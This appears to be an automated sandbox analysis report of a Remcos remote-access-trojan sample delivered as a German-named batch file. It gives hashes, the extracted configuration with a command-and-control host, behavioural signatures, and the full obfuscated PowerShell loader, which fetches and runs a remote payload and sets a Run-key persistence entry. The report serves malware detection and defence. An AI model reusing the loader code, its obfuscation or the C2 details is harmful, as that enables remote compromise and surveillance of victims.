Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
30/11/2024, 19:31
Static task
static1
Behavioral task
behavioral1
Sample
Beschwerde-Rechtsanwalt.bat
Resource
win7-20240903-en
General
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Target
Beschwerde-Rechtsanwalt.bat
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Size
4KB
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MD5
7d81c68c80b51bfcdea2e11ac99e606f
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SHA1
5c0dae6d1b7e77f806fbeb537921222ad5136c9b
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SHA256
229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3
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SHA512
8a5b8d97f8e2c344a32d6ee8fe93ba020fc01dc1717500214c1235af8fe9030d0c3bd5b540d0d78699b2eaa4dadaefe7417274ebf683dc1e71b56851d8acc10b
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SSDEEP
96:VDCwylmfZfGRN+0ndbI+Cd/Pfo2zkDVPKKb8Bv:VmuZf2nds+CFo28sKb81
Malware Config
Extracted
remcos
PeeWe8646
www.autoshausamsachsenwald.de:6698
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Weepee83472-FSSJ2L
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 35 IoCs
flow pid Process 9 2472 powershell.exe 35 3680 powershell.exe 38 3680 powershell.exe 41 3680 powershell.exe 50 3680 powershell.exe 52 3680 powershell.exe 54 3680 powershell.exe 56 3680 powershell.exe 61 3680 powershell.exe 62 3680 powershell.exe 63 3680 powershell.exe 66 3680 powershell.exe 67 3680 powershell.exe 68 3680 powershell.exe 69 3680 powershell.exe 70 3680 powershell.exe 71 3680 powershell.exe 72 3680 powershell.exe 73 3680 powershell.exe 78 3680 powershell.exe 79 3680 powershell.exe 80 3680 powershell.exe 81 3680 powershell.exe 82 3680 powershell.exe 83 3680 powershell.exe 84 3680 powershell.exe 85 3680 powershell.exe 86 3680 powershell.exe 87 3680 powershell.exe 88 3680 powershell.exe 89 3680 powershell.exe 90 3680 powershell.exe 91 3680 powershell.exe 92 3680 powershell.exe 97 3680 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2472 powershell.exe 3680 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Hoplonemertine101 = "%Problemlsningernes% -windowstyle 1 $hovedtal=(gp -Path 'HKCU:\\Software\\Maerkes\\').Photosensitizers;%Problemlsningernes% ($hovedtal)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3680 powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3680 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4936 reg.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2472 powershell.exe 2472 powershell.exe 3680 powershell.exe 3680 powershell.exe 3680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2472 powershell.exe Token: SeDebugPrivilege 3680 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3204 wrote to memory of 2472 3204 cmd.exe 84 PID 3204 wrote to memory of 2472 3204 cmd.exe 84 PID 3680 wrote to memory of 2932 3680 powershell.exe 102 PID 3680 wrote to memory of 2932 3680 powershell.exe 102 PID 3680 wrote to memory of 2932 3680 powershell.exe 102 PID 2932 wrote to memory of 4936 2932 cmd.exe 105 PID 2932 wrote to memory of 4936 2932 cmd.exe 105 PID 2932 wrote to memory of 4936 2932 cmd.exe 105
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Beschwerde-Rechtsanwalt.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2472
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hoplonemertine101" /t REG_EXPAND_SZ /d "%Problemlsningernes% -windowstyle 1 $hovedtal=(gp -Path 'HKCU:\Software\Maerkes\').Photosensitizers;%Problemlsningernes% ($hovedtal)"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Hoplonemertine101" /t REG_EXPAND_SZ /d "%Problemlsningernes% -windowstyle 1 $hovedtal=(gp -Path 'HKCU:\Software\Maerkes\').Photosensitizers;%Problemlsningernes% ($hovedtal)"3⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4936
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD52d74f3420d97c3324b6032942f3a9fa7
SHA195af9f165ffc370c5d654a39d959a8c4231122b9
SHA2568937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d
SHA5123c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
450KB
MD5e40500a08fc8668ca9ea853b2b2b09c1
SHA1bd64e99f8c8456d1679200aa28626dd2f226ce35
SHA256298497a8602a18e3ea367aeef9988ec043f7dcd6da6e18f65eab116590ed27bc
SHA5126deb464711e24ced75de084dca694365c5e72fe9844d584497b22efa145c231a991d3ebf27183d499bdc9c837f27366125326ad4c805748540049119ad8f98d7